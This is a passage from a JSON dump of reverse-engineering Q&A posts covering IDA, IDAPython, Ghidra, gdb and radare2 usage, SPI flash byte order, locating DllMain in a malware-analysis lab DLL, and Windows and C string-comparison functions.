but I don't know how to do it. When I hover my mouse over an argument in the pseudocode view, i get something like this on the tooltip:</p>\n<pre><code>int inData; // [esp+1Ch] [ebp+4h]\n</code></pre>\n<p>But I don't know how to extract the actual pointers form this in python. I assume the parameters are stored relative to one of the registers (e.g. <code>esp</code> in this case), and the number after the <code>+</code> sign is the offset in memory relative to this register's value, but when manually investigating the running program's memory, I found that this is not the case.</p>\n<p>What do those two register offsets mean on the tooltip, and how can I use them in together with <code>get_reg_value</code> and <code>get_bytes</code> to get the actual data in the arguments?</p>\n<hr />\n<p>PS: I have found the <code>idaapi.get_arg_addrs(here())</code> function from the accepted answer on <a href=\"https://reverseengineering.stackexchange.com/questions/17593/idapython-how-to-get-function-argument-values\">this</a> question, but when running it in the python console while the program is paused on the first instruction of the function, it doesn't return anything. <a href=\"https://reverseengineering.stackexchange.com/questions/25301/getting-function-arguments-in-ida\">This</a> question also mentions <code>get_arg_addrs</code>, but it seems to be used on the <code>call</code> instruction, and not on the function itself. In my case, I want to get the arguments from within the function, when the program is paused on the first instruction.</p>\n",
        "Title": "IDAPython - How can I read the value of a function argument? (IDA 7.6)",
        "Tags": "|ida|idapython|python|arguments|",
        "Answer": "<p>The way parameter pass is according x86 calling convention (32-bit program calling convention) that Robert said in the comment. You can see more detail from this answer: <a href=\"https://reverseengineering.stackexchange.com/a/2965\">https://reverseengineering.stackexchange.com/a/2965</a>.</p>\n<p>The calling convention push into stack arguments value so when the function need to access those arguments it can calculate easily because it know that it was push into the stack. The ebp store the frame pointer which always point to the top of the function stack. So the argument is always before the ebp and the local variable is always after the ebp in 32-bit. That's why to get the function first argument it do ebp+8 because it is always at offset +8 from the ebp, the second argument is ebp+12, third is ebp+16 and so on (it can't be + 4 because that's the address to return after the function is called).</p>\n<p>So to get the function argument you first need to get the value of ebp and the plus 8 to that value to get the first argument. The command to get the first argument is as following:</p>\n<pre><code>idaapi.get_dword(ida_dbg.get_reg_val(&quot;EBP&quot;)+8)\n</code></pre>\n<p>The general for any argument is (change argument_position to the position you want, starting from 0):</p>\n<pre><code>idaapi.get_dword(ida_dbg.get_reg_val(&quot;EBP&quot;) + 8+4*&lt;argument_position&gt;)\n</code></pre>\n<p>You can also use idaapi.get_byte, it work the same as idaapi.get_dword but each argument always contains 4 byte (for <a href=\"https://stackoverflow.com/a/45134007\">stack alignment</a>) so i use get_dword.</p>\n"
    },
    {
        "Id": "30124",
        "CreationDate": "2022-03-07T18:42:14.620",
        "Body": "<p>I'm following Erickson 2008 Hacking the art of exploitation. The program is very simple.</p>\n<pre><code>#include &lt;stdio.h&gt; \n#include &lt;string.h&gt;\nint main() {\n\nchar str_a[20];\nstrcpy(str_a, &quot;Hello, world!\\n&quot;);\nprintf(str_a); \n} \n</code></pre>\n<p>I set a break at line 6</p>\n<pre><code>(gdb)break 6\n(gdb)break strcpy\n</code></pre>\n<p>...which prompts</p>\n<pre><code>Function &quot;strcpy&quot; not defined.\nMake breakpoint pending on future shared library load? (y or [n]) y \nBreakpoint 2 (strcpy) pending.\n(gdb) break 8 \n</code></pre>\n<p>Then I should be able to step through the program. With run or start and cont. However the program skips the break point 2. &quot;info breakpoints&quot; says breakpoint already hit 1 time at start. How do I make GDB stop at breakpoints even after being reached once? I thought this was the answer.</p>\n<pre><code>enable -- Enable all or some breakpoints.\nenable breakpoints -- Enable all or some breakpoints.\nenable breakpoints count -- Enable some breakpoints for COUNT hits.\nenable breakpoints delete -- Enable some breakpoints and delete when hit.\nenable breakpoints once -- Enable some breakpoints for one hit.\nenable count -- Enable some breakpoints for COUNT hits.\n</code></pre>\n<p>GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2\nI'll keep digging trying to find the solution but for now it seems a mystery.</p>\n<p>Edit:\nI believe the problem lies in gdb disabling my breakpoint at start. When I start the program, it disables breakpoint 2, then I run enable 2 check info breakpoints, and it's enabled, but it never stops there. I changed the addresses and &quot;What&quot; column for formatting.</p>\n<pre><code>Num     Type                 Disp Enb  Address          What.      .         .\n1       breakpoint             keep y   0x0005 in main at **7.\n        breakpoint already hit 1 time.                                .               .\n2       STT_GNU_IFUNC resolver keep y   0x0007 &lt;strcpy_ifunc&gt;.        .      .\n3       breakpoint             keep y   0x0005 in main at **8. \n        breakpoint already hit 1 time\n</code></pre>\n",
        "Title": "breakpoint already hit 1 time",
        "Tags": "|gdb|breakpoint|",
        "Answer": "<p>If your output looks like this</p>\n<pre><code>(gdb) info breakpoints\nNum     Type           Disp Enb Address            What\n1       breakpoint     keep y   0x00005555554006c1 in main at x.c:6\n        breakpoint already hit 1 time\n2       breakpoint     keep y   0x00007ffff7a7f980 in strcpy_ifunc at ../sysdeps/x86_64/multiarch/ifunc-unaligned-ssse3.h:33\n</code></pre>\n<p>This means that only breakpoint 1 - the one for line 6 has been hit once. Not the one for <code>strcpy</code></p>\n"
    },
    {
        "Id": "30127",
        "CreationDate": "2022-03-09T02:51:13.903",
        "Body": "<p>I am trying to tell apart the following two instructions:</p>\n<pre><code>8D 02      lea     eax, [rdx]  // auxfix = 0x1810\n67 8D 02   lea     eax, [edx]  // auxfix = 0x810\n</code></pre>\n<p>The only difference is in the insn_t.auxfix field, which seems to hold some operand size flag related to modr/m.</p>\n<p>As you can see bit 1 &lt;&lt; 12 seems to tell me something ... but how exactly can I interpret this field for x86 and x64?</p>\n",
        "Title": "IDA API: obtain operand size prefix (x64)",
        "Tags": "|ida|assembly|idapython|x86-64|idapro-sdk|",
        "Answer": "<p>Open up <code>intel.hpp</code> that ships with the SDK. The aux prefix flags are defined at the top; the one you're interested in is as follows:</p>\n<pre><code>#define aux_natad       0x00001000  // addressing mode is not overridden by prefix\n</code></pre>\n"
    },
    {
        "Id": "30130",
        "CreationDate": "2022-03-09T20:29:17.293",
        "Body": "<p>Apologies if this account question may sound a bit stupid but I really need help with something</p>\n<p>Let's say I had a function that looks something like this :</p>\n<pre><code>#undef curl_easy_setopt\nCURLcode curl_easy_setopt(struct Curl_easy *data, CURLoption tag, ...)\n{\n  va_list arg;\n  CURLcode result;\n\n  if(!data)\n    return CURLE_BAD_FUNCTION_ARGUMENT;\n\n  va_start(arg, tag);\n\n  result = Curl_vsetopt(data, tag, arg);\n\n  va_end(arg);\n  return result;\n}\n</code></pre>\n<p>How could I go about the proccess of finding this function in IDA?</p>\n",
        "Title": "How to find specific function in IDA pro",
        "Tags": "|c++|",
        "Answer": "<p>As it happens, I recently reverse engineered (<a href=\"https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook\" rel=\"nofollow noreferrer\">and published an analysis of</a>) a program that uses Curl, and I had the IDB open in the background. I decided to see if I could find the function in question. Here's how I did it.</p>\n<ol>\n<li>First, by searching for <code>CURLE_BAD_FUNCTION_ARGUMENT</code>, we <a href=\"https://curl.se/libcurl/c/libcurl-errors.html\" rel=\"nofollow noreferrer\">determine</a> that the value of the numeric constant is 43.</li>\n<li>Under <code>Search-&gt;Immediate value</code>, input the number 43.</li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/svPCe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/svPCe.png\" alt=\"enter image description here\" /></a></p>\n<ol start=\"3\">\n<li>IDA then displays a list of locations in the binary that use the immediate constant 43:</li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/JLHRk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JLHRk.png\" alt=\"enter image description here\" /></a></p>\n<ol start=\"4\">\n<li><p>Although there are 189 results in the code section, I didn't need to look at all of them. For example, in the second line of the image above, the value is being compared with an 8-bit register; I'm assuming <code>CURLcode</code> is an integer, so that's not the one we want. In the bottom three lines, we can see that one single function contains the constant three (actually, many) times; your snippet shows the number one single time, so that's not the one we want. I exclude many of the possibilities with reasoning like this; anything that is not <code>mov eax, 2Bh</code>, or anywhere that instruction appears more than once in a single function, is placed on the backburner for later analysis (if necessary).</p>\n</li>\n<li><p>I briefly look at each good-looking result to see if it has a similar control flow shape to the one from your question. Quickly, I find one that looks right (and as it happens, IDA had already named the function <code>curl_easy_setopt</code> due to its Lumina renaming feature):</p>\n</li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/guOS9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/guOS9.png\" alt=\"enter image description here\" /></a></p>\n<p>Note that this trick would not have worked very well if the numeric value of <code>CURLE_BAD_FUNCTION_ARGUMENT</code> had been something like <code>1</code>, <code>2</code>, <code>4</code>, <code>8</code>, <code>16</code>, <code>32</code>, etc. I exploited the fact that the number 43 does not appear extremely often in most programs in order to narrow down my search.</p>\n"
    },
    {
        "Id": "30137",
        "CreationDate": "2022-03-12T22:05:00.237",
        "Body": "<p>Does anybody know the manufacturer of this ARM CPU / SoC? I cannot find any information about it. I don't even know what the character in front of \u201cStar\u201d means.</p>\n<p>\u201cSAV500D\u201d seems to be the model, the following lines seem to be serial numbers. I have two of them, only the first line is the same.</p>\n<p>Thanks a lot for any help!</p>\n<p><a href=\"https://i.stack.imgur.com/ny15b.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ny15b.png\" alt=\"soc\" /></a></p>\n",
        "Title": "Need help identifying this SoC",
        "Tags": "|linux|arm|",
        "Answer": "<p>The manufacturer appears to be <a href=\"http://sigmastarsemi.com\" rel=\"nofollow noreferrer\">http://sigmastarsemi.com</a></p>\n<p>Also this site might be useful: <a href=\"http://linux-chenxing.org/\" rel=\"nofollow noreferrer\">http://linux-chenxing.org/</a></p>\n"
    },
    {
        "Id": "30143",
        "CreationDate": "2022-03-14T18:47:24.027",
        "Body": "<p>I have a <code>python</code> dir within IDA 6.8 folder with <code>idaapi.py</code>, <code>idautils.py</code>, and <code>idc.py</code>. IDA doesn't seem to pick the Python scripting by default.</p>\n<p>How do I enable it?</p>\n",
        "Title": "How do I enable Python on IDA 6.8?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Fixed it with the help of <a href=\"https://hex-rays.com/blog/ida-and-common-python-issues/\" rel=\"nofollow noreferrer\">this page</a></p>\n<p>At the end of the day it was</p>\n<ol>\n<li><p>pointing to python 3.8 installation instead of Python 2.7 although both were installed on the machine</p>\n</li>\n<li><p>python27.dll was not in the package I've used to install Python 2.7. Had to reinstall it</p>\n</li>\n<li><p>had to remove PYTHONPATH and PYTHONHOME completely and leave only PATH pointing to Python 2.7 installation</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "30149",
        "CreationDate": "2022-03-16T08:56:04.937",
        "Body": "<p>I have an ELF64 binary that comes with <code>*.sym</code> and <code>.debug</code>. From my understanding this is something akin to PDB. While IDA loads it automatically, it fails to process it. I was wondering if Ghidra will fare better but I can't seems to find a way to do so. <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/3513\" rel=\"nofollow noreferrer\">This issue</a> does say it should be in but I cant figure it out:</p>\n<pre><code>Skipping DWARF import because a precondition was not met:\nTheMainBinary has more DIE records (2018267) than limit of 2000000\nManually re-run the DWARF analyzer after adjusting the options or start it via Dwarf_ExtractorScript\n</code></pre>\n",
        "Title": "How to use linux .debug file with Ghidra",
        "Tags": "|linux|ghidra|",
        "Answer": "<p>Ghidra can in fact parse the <code>.debug</code> section and DWARF information in general, but the error message you posted indicates that it is refusing to do so, because of the too large number of records. It also gives you the two options to explicitly run the analysis nonetheless:</p>\n<ol>\n<li>Running the Auto Analysis Step with custom configuration</li>\n<li>Running a separate script.</li>\n</ol>\n<p>The first option specifically means:\nIn the CodeBrowser view of the specific binary, click <code>Analysis</code> in the top bar, then <code>Auto Analyze '$binaryname'</code>. In the resulting list of analyzers scroll down to DWARF which should then look like this screenshot</p>\n<p><a href=\"https://i.stack.imgur.com/GogSI.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/GogSI.png\" alt=\"enter image description here\" /></a></p>\n<p>change the <code>2000000</code> highlighted to anything higher than <code>2018267</code>, hit analyze, and Ghidra should now rerun the auto analysis but properly import the DWARF information and not skip it like before.</p>\n"
    },
    {
        "Id": "30155",
        "CreationDate": "2022-03-18T04:30:59.720",
        "Body": "<p>This is very confusing and problematic. For example, in a certain executable, the winsock2 library is imported, but only CERTAIN functions from it are listed in the functions tab. However, they are NOT the only functions that are in use. I'm not sure right now, but it may be that the other functions which ARE in use, do not have the _imp_ prefix in the code, while the ones that are listed, do. But I'm really confused because effectively what I end up with is really misleading.</p>\n",
        "Title": "Why does IDA not show certain library functions in the function list?",
        "Tags": "|ida|",
        "Answer": "<p>First, some background. When a binary imports an API function, the operating system loader stores a function pointer to that function in a location specified by metadata in the binary's executable headers. In IDA, on Windows, this section generally is named <code>.idata</code> and is colored pink. You can see a typical example in the following screenshot:</p>\n<p><a href=\"https://i.stack.imgur.com/SFvts.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SFvts.png\" alt=\"this screenshot\" /></a></p>\n<p>There are two patterns that code in a binary uses to invoke these imported API functions. First, you might see <code>call</code> instructions that reference the function pointers in the aforementioned <code>.idata</code> section directly, as in:</p>\n<p><a href=\"https://i.stack.imgur.com/ttYXh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ttYXh.png\" alt=\"this screenshot\" /></a></p>\n<p>Secondly, for some API functions, the binary might include a so-called &quot;thunk&quot; function, which consists of one single <code>jmp</code> instruction to the imported function pointer.</p>\n<p><a href=\"https://i.stack.imgur.com/TXXjv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/TXXjv.png\" alt=\"this screenshot\" /></a></p>\n<p>Now, on to your question. Only imports with associated thunk functions will end up in the functions window. This is natural, because thunk functions are actual functions, whereas function pointers are not functions (they're pointers). If you want to see the collection of functions imported by a given binary, use the Imports window (View-&gt;Open subviews-&gt;Imports) instead of the Functions window.</p>\n"
    },
    {
        "Id": "30166",
        "CreationDate": "2022-03-22T05:56:03.843",
        "Body": "<p>Currently, my stack view is 0x10 (16) bytes long.</p>\n<p><a href=\"https://i.stack.imgur.com/MRQV2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MRQV2.png\" alt=\"Stack View\" /></a></p>\n<p>How do I change it so that the stack view is 8 bytes long?</p>\n<p>Edit:\nI have tried tabbing into the stack window, pressing e, and then typing <code>pxr 256@r:SP</code> and it did not work. Here is my results\n<a href=\"https://i.stack.imgur.com/f2kjt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/f2kjt.png\" alt=\"enter image description here\" /></a></p>\n<p>Edit 2: This DOES work, I just need to press <code>i</code> a few more times</p>\n",
        "Title": "How do you change the stack width/offset in radare2?",
        "Tags": "|radare2|debuggers|",
        "Answer": "<p>Select the Stack panel by pressing <kbd>Tab</kbd>, then press the <kbd>I</kbd> key a couple of times (in my case two times) and you get a view like this:</p>\n<p><a href=\"https://i.stack.imgur.com/AZLu1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AZLu1.png\" alt=\"Stack view of 8 bytes wide\" /></a></p>\n<p>Edit: This works if your panel has the pxr command (I'm not sure if that is the default), so if it doesn't work, you can try this:</p>\n<p>Select the Stack panel using the <kbd>Tab</kbd> key, press the <kbd>e</kbd> key, type <code>pxr 256@r:SP</code></p>\n<p>then you can use the <kbd>I</kbd> key as I described before.</p>\n"
    },
    {
        "Id": "30167",
        "CreationDate": "2022-03-22T06:21:22.983",
        "Body": "<p>I'm working on reverse engineering a small household weather station, and I have successfully managed to extract the contents of a SPI NOR flash chip (using a modified version of <a href=\"https://github.com/eblot/pyspiflash\" rel=\"nofollow noreferrer\">this Python library</a> to add the ID for the flash chip on the PCB) that I found on the circuit board, but the data appears to have some sort of shifting/jumbling.</p>\n<p>For example:</p>\n<pre><code>00070f10  20 54 52 50 4a 4f 43 45  49 54 4e 4f 41 20 54 4c  | TRPJOCEITNOA TL|\n00070f20  57 2f 54 49 20 48 41 46  52 48 4e 45 45 48 54 49  |W/TI HAFRHNEEHTI|\n00070f30  20 20 45 43 53 4c 55 49  20 53 52 50 4a 4f 00 00  |  ECSLUI SRPJO..|\n00070f40  00 00 20 20 55 43 52 52  4e 45 20 54 20 20 52 20  |..  UCRRNE T  R |\n</code></pre>\n<p>I can clearly tell the word FAHRENHEIT is on the second line, CELSIUS is on the third line, and CURRENT is on the fourth line, but the characters are all mixed up. Is this some sort of basic encryption, or is it a sign that I am reading the flash memory improperly?</p>\n",
        "Title": "Contents of SPI NOR Flash appears scrambled",
        "Tags": "|embedded|flash|spi|",
        "Answer": "<p>Looks like 16bit Little endian for me. Bytes are swapped pairwise so instead of 12345678 you got 21436587. Not sure if its only on the strings or on all flash bytes. Best to test both variants out</p>\n"
    },
    {
        "Id": "30180",
        "CreationDate": "2022-03-25T12:19:49.830",
        "Body": "<p>So to cut straight to the chase - I'm lazy, IDA is mysterious, I need to use IDA arrays in\nmy IDC code for convenience. Because IDC is like C(++) in its syntax I figured I could do:</p>\n<pre><code>auto lala[4] = {0,1,2,3};\n</code></pre>\n<p>But that doesn't work. Neither do round or square brackets.\nTrying to do lala[0] produces this output:</p>\n<pre><code>Cannot use [] operator on scalars\n</code></pre>\n<p>What gives?</p>\n",
        "Title": "How to have arrays in IDA's IDC",
        "Tags": "|ida|idc|",
        "Answer": "<p>IDC is closer to C than C++ but both limited in some ways and more flexible in others than C. It supports several <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/161.shtml\" rel=\"nofollow noreferrer\">variable types</a> but arrays is not one of them:</p>\n<blockquote>\n<p>A variable can contain:</p>\n<ul>\n<li>LONG: a 32-bit signed long integer (64-bit in 64-bit version of IDA)</li>\n<li>INT64: a 64-bit signed long integer</li>\n<li>STR: a character string</li>\n<li>FLOAT: a floating point number (extra precision, up to 25 decimal digits)</li>\n<li>OBJECT: an object with attributes and methods\n(a concept very close to C++ class) more</li>\n<li>REF: a reference to another variable</li>\n<li>FUNC: a function reference</li>\n</ul>\n</blockquote>\n<p>However, you can use <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1578.shtml\" rel=\"nofollow noreferrer\">slice syntax</a> with objects to simulate arrays:</p>\n<pre><code>auto x = object();\nx[0] = value1;\nx[1] = &quot;value2&quot;;\n</code></pre>\n"
    },
    {
        "Id": "30186",
        "CreationDate": "2022-03-26T15:23:35.563",
        "Body": "<p>Note: Not sure if this kind of question belongs here but as long as this won't fit anywhere else this site is the closest.</p>\n<p>Back to the topic, I have a python file which I obfuscated it and anytime I want to turn this into executable using <code>pyinstaller</code> there's a <code>0x90</code> byte at the beginning of file which it can't be decoded using <code>UTF-8</code>. When I run the program it shows me this error:</p>\n<pre><code>Traceback (most recent call last):\n  File &quot;test.py&quot;, line 500, in &lt;module&gt;\n  File &quot;test.py&quot;, line 481, in djxvCOWAMQFNXLmkmwHopqHMWeJWqRRfaTYhtVQhEjhYQByjCUhjZmlyRVkSKqsEcxYRXketUHcQvObBfTQifGMfTOEsxpDzumWrevMKrXWYeXWOqinkNlbvZDoeaQMo\n  File &quot;test.py&quot;, line 236, in CjpiLgqGSPHXaLfOKvPztQfChQlzklDoKWuieQOqmnPEnVxqRophKppuTPUSrlAdiWNiSOwcKqyDZoQSJsvmVPUVLFIQvRZbwSFHZQdLkwgXSoPoFJbjsZnrLKWkjKnZ\n  File &quot;codecs.py&quot;, line 322, in decode\nUnicodeDecodeError: 'utf-8' codec can't decode byte 0x90 in position 2: invalid start byte\n</code></pre>\n<p>Not sure how do I deal with this, I have tried different naming of variable and still the same thing. Can someone help me a bit with this? Thanks in advance!</p>\n",
        "Title": "Why 0x90 byte is always at top of my file?",
        "Tags": "|debugging|ghidra|hex|byte-code|",
        "Answer": "<p>These kinds of problems are related to the <code>encoding</code> of your script/program. My specific problem was related that <code>0x90</code> byte on my file was a <code>latin</code> character which <code>UTF-8</code> couldn't recognize. On top of my file I wrote <code># -- coding: latin-1 --</code> and it was fixed. For anyone curios the little pest was this character <code>\u00c8</code> at byte <code>0x90</code>.</p>\n"
    },
    {
        "Id": "30187",
        "CreationDate": "2022-03-26T19:26:38.110",
        "Body": "<p>I want to use the IDA Freeware Version 7.7 for finding the <strong>DllMain</strong> of a DLL file. The file is from the book Practical Malware Analysis. It is for Lab 05. Name of file is &quot;Lab05-01.dll&quot; and you can download that from <a href=\"https://practicalmalwareanalysis.com/labs/\" rel=\"nofollow noreferrer\">here</a> (use VM).</p>\n<p>So as Practical Malware Analysis mentioned, when I load the DLL at IDA Freeware, then, the first line of instruction at the graph view should be the start of DllMain.</p>\n<p>But when I load the DLL file at the IDA Freeware, the first line of graph view is NOT the <code>DllMain</code>. Because I checked from the solutions and my answer and book's answer were not the same.</p>\n<h2>Ways that I've Tested</h2>\n<ol>\n<li>Looking at the first line of instruction at the graph view which the book described. (Explained above that didn't worked)</li>\n<li>So I searched and found <a href=\"https://stackoverflow.com/questions/26345426/donot-know-how-to-find-the-address-of-dllmain\">THIS ARTICLE</a>.\nOne of the ways that was mentioned there was to go and find <code>DllMain</code> at the function windows. There was no function named <code>DllMain</code> (As you see in the picture)\n<img src=\"https://i.stack.imgur.com/7mvqJ.png\" alt=\"A Picture of Functions\" />\nThe <code>DllMain</code> does NOT exist because if it did exist, then it would be above <code>EnumProcessModules</code> and below <code>DllEntryPoint</code>. (Note that I have sorted by name)</li>\n<li>So next thing I did was to look at the answer and see what is the name of the function which starts at the exact same address which the book says DllMain starts.\nThe book says the answer is <strong>1000D02E</strong>. I look at the function which had started from this location and that function had this name : <strong>sub_1000D02E</strong> , not <code>DllMain</code>.<img src=\"https://i.stack.imgur.com/W1mmd.png\" alt=\"The Function Highlighted is the DllMain\" />\nThe function highlighted is the DllMain (I know this because I have looked at the solutions and as you see the function's name is not <code>DllMain</code> and I was unable to find that by myself)</li>\n</ol>\n<hr />\n<p><strong>What should I do to find the DllMain?</strong></p>\n<p>Thank you in advance.</p>\n",
        "Title": "Find DllMain using IDA Freeware",
        "Tags": "|ida|dll|",
        "Answer": "<p>Hmm, so here's the rub. I installed IDA Freeware 7.7 in my Linux VM and tried in parallel in my named license IDA Pro 7.7.</p>\n<p>Turns out this seems to be a limitation of IDA Freeware, in all likelihood a conscious one. In particular I can see with the freeware version that <code>DllEntryPoint</code> was not deemed a library function (cyan color), but with the commercial license it was.</p>\n<p>Freeware: <a href=\"https://i.stack.imgur.com/3OCRU.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3OCRU.png\" alt=\"Freeware\" /></a></p>\n<p>Commercial:\n<a href=\"https://i.stack.imgur.com/O47Lp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/O47Lp.png\" alt=\"Commercial license\" /></a></p>\n<p>It appears that based on <code>autoload.cfg</code> my commercial IDA will load FLIRT signatures <code>vc32rtf</code> (Microsoft VisualC 2-14/net runtime), which the freeware version doesn't do on its own.</p>\n<p>If you do that manually through <kbd>File</kbd> -&gt; <kbd>Load file</kbd> -&gt; <kbd>FLIRT signature file</kbd> your <code>DllEntryPoint</code> function should get collapsed and its color should indicate it's a <em>library function</em> (cyan). You can toggle collapsed/expanded mode with <kbd>Ctrl</kbd>+<kbd>Num+</kbd> by default.</p>\n<p>Now, if you expand the function you will notice it has been recognized as a library function, but so have some of the callees called <em>from</em> this library function. What's more, if you use <kbd>View</kbd> -&gt; <kbd>Open subviews</kbd> -&gt; <kbd>Function calls</kbd> you can see the overview of calls <em>from</em> <code>DllEntryPoint</code>.</p>\n<p><a href=\"https://i.stack.imgur.com/rBZrG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rBZrG.png\" alt=\"Function calls subview\" /></a></p>\n<p>As you can now see, there are only two called &quot;entities&quot; which aren't themselves library functions (<code>call eax ; dword_10092E58</code> and <code>call sub_1000D02E</code>). And after a cursory look under which conditions the function pointer stored in <code>dword_10092E58</code> gets called, we can surmise that <code>sub_1000D02E</code> must be our <code>DllMain</code>.</p>\n<p>Knowing this, we can now jump to it and manually rename it to <code>DllMain</code>. Once done it should show up as:</p>\n<pre><code>.text:1000D02E ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)\n.text:1000D02E DllMain         proc near               ; CODE XREF: DllEntryPoint+4B\u2193p\n.text:1000D02E                                         ; DATA XREF: sub_100110FF+2D\u2193o\n</code></pre>\n<p>... in the &quot;IDA View-A&quot;.</p>\n"
    },
    {
        "Id": "30189",
        "CreationDate": "2022-03-27T11:27:22.863",
        "Body": "<p>I have this piece of assembly:</p>\n<pre><code>.text:0041B322 xor     eax, eax\n.text:0041B324 mov     al, byte ptr [ebp+v13]\n.text:0041B327 cmp     eax, 1\n.text:0041B32A jz      loc_41B37D\n.text:0041B330 xor     eax, eax\n.text:0041B332 mov     al, byte ptr [ebp+v13]\n</code></pre>\n<p>I would like to know what exactly is <strong>loc_41B37D</strong> in this context?\nI believe this means <strong>local piece of code</strong>. So it would be a label pointing to some address in memory. But I coudn't find any definition for this online. Can you link me some useful resource for this? Documentation maybe?</p>\n",
        "Title": "IDA - What LOC means in assembly?",
        "Tags": "|ida|assembly|",
        "Answer": "<p>&quot;jz&quot; is a conditional jump.\nExplanation <a href=\"https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions\" rel=\"nofollow noreferrer\">HERE</a>.</p>\n<p>&quot;loc&quot; stands for location.</p>\n<p><code>jz      loc_41B37D</code> means if the zero flag was set to 1, jump to location 41B37D.</p>\n<p>Reading <a href=\"https://www.aldeid.com/wiki/X86-assembly/Instructions/jz\" rel=\"nofollow noreferrer\">HERE</a> would also help.</p>\n"
    },
    {
        "Id": "30192",
        "CreationDate": "2022-03-27T19:34:07.167",
        "Body": "<p>I made a list of which instructions compare two strings in disassembly so that when I get to intermodular calls in x64dbg, I can simply type this instructions to see if there is a comparison have been made. Unfortunately, I lost this list. Can someone get me these instructions please. I only remember <code>lstrcmpiA</code>.</p>\n",
        "Title": "Instructions to compare two strings",
        "Tags": "|disassembly|windows|debugging|x64dbg|",
        "Answer": "<p>Hmm this probably isn't an exhaustive list, but feel free to add to it:</p>\n<ul>\n<li>C runtime (header <code>&lt;string.h&gt;</code> or <code>&lt;cstring&gt;</code>:\n<ul>\n<li><code>strcmp</code>, <code>strncmp</code>, <code>wcscmp</code>, <code>wcsncmp</code> (with <code>&lt;wchar.h&gt;</code>)\n<ul>\n<li><em>case-insensitive</em>: <code>strcasecmp</code>, <code>strncasecmp</code>\n<ul>\n<li><code>wcscasecmp</code> (with <code>&lt;wchar.h&gt;</code>)</li>\n</ul>\n</li>\n<li>also known as: <code>stricmp</code>, <code>strcmpi</code></li>\n</ul>\n</li>\n<li><code>memcmp</code>, <code>wmemcmp</code> (with <code>&lt;wchar.h&gt;</code>), <code>bcmp</code> (unlikely on Windows)\n<ul>\n<li><code>memicmp</code> (and similar)</li>\n</ul>\n</li>\n<li>Depending on your runtime there may also be <code>l</code> varieties such as <code>strlcmp</code> of the aforementioned functions (<code>l</code> for length)</li>\n</ul>\n</li>\n<li>Windows API (header <code>winbase.h</code>):\n<ul>\n<li><code>lstrcmp</code> (expands to <code>lstrcmpA</code> <em>or</em> <code>lstrcmpW</code>)\n<ul>\n<li><em>case insensitive</em>: <code>lstrcmpi</code> (expands to <code>lstrcmpiA</code> <em>or</em> <code>lstrcmpiW</code>)</li>\n</ul>\n</li>\n</ul>\n</li>\n<li>Windows via <code>&lt;shlwapi.h&gt;</code>, offering different comparison semantics:\n<ul>\n<li><code>StrCmp</code> (expands to <code>StrCmpA</code> <em>or</em> <code>StrCmpW</code>)</li>\n<li><code>StrCmpC</code> (expands to <code>StrCmpCA</code> <em>or</em> <code>StrCmpCW</code>)</li>\n<li><code>StrCmpI</code> (expands to <code>StrCmpIA</code> <em>or</em> <code>StrCmpIW</code>)</li>\n<li><code>StrCmpIC</code> (expands to <code>StrCmpICA</code> <em>or</em> <code>StrCmpICW</code>)</li>\n<li><code>StrCmpNC</code> (expands to <code>StrCmpNCA</code> <em>or</em> <code>StrCmpNCW</code>)</li>\n<li><code>StrCmpNI</code> (expands to <code>StrCmpNIA</code> <em>or</em> <code>StrCmpNIW</code>)</li>\n<li><code>StrCmpNIC</code> (expands to <code>StrCmpNICA</code> <em>or</em> <code>StrCmpNICW</code>)</li>\n<li><code>StrCmpN</code> (expands to <code>StrCmpNA</code> <em>or</em> <code>StrCmpNW</code>)</li>\n</ul>\n</li>\n<li>Windows kernel mode and NT native:\n<ul>\n<li><code>RtlCompareUnicodeString</code></li>\n<li><code>RtlEqualUnicodeString</code></li>\n</ul>\n</li>\n</ul>\n<p>But in all likelihood you are looking for the C runtime ones. The <code>n</code> variety usually is counted (<code>n</code> being the number of characters)</p>\n<p>Also beware that there exist a number of related functions. E.g. with Windows conventionally you can build with <code>_UNICODE</code> defined or not, using <code>&lt;tchar.h&gt;</code>. This will then alias the respective &quot;bare&quot; function names to those with trailing <code>A</code> (ANSI) or <code>W</code> (wide character, i.e. &quot;Unicode&quot;) version.</p>\n<p>On Windows you will also encounter instead of <code>str</code>...something (e.g. <code>strcmp</code>) <a href=\"https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strcmp-wcscmp-mbscmp\" rel=\"nofollow noreferrer\">functions prefixed</a>:</p>\n<ul>\n<li><code>_tcs</code>, i.e. <code>_TCHAR</code>/<code>TCHAR</code> character string ... where the meaning toggles (via <code>&lt;tchar.h&gt;</code>) between <code>char</code> and <code>wchar_t</code> (if <code>_UNICODE</code> defined)</li>\n<li><code>_mbs</code>, i.e. multi-byte character string (code pages such as some Asian locales where a single byte isn't enough to represent one code point, which predates wide use of Unicode proper)</li>\n<li><code>wcs</code>, i.e. &quot;wide character string&quot;</li>\n</ul>\n"
    },
    {
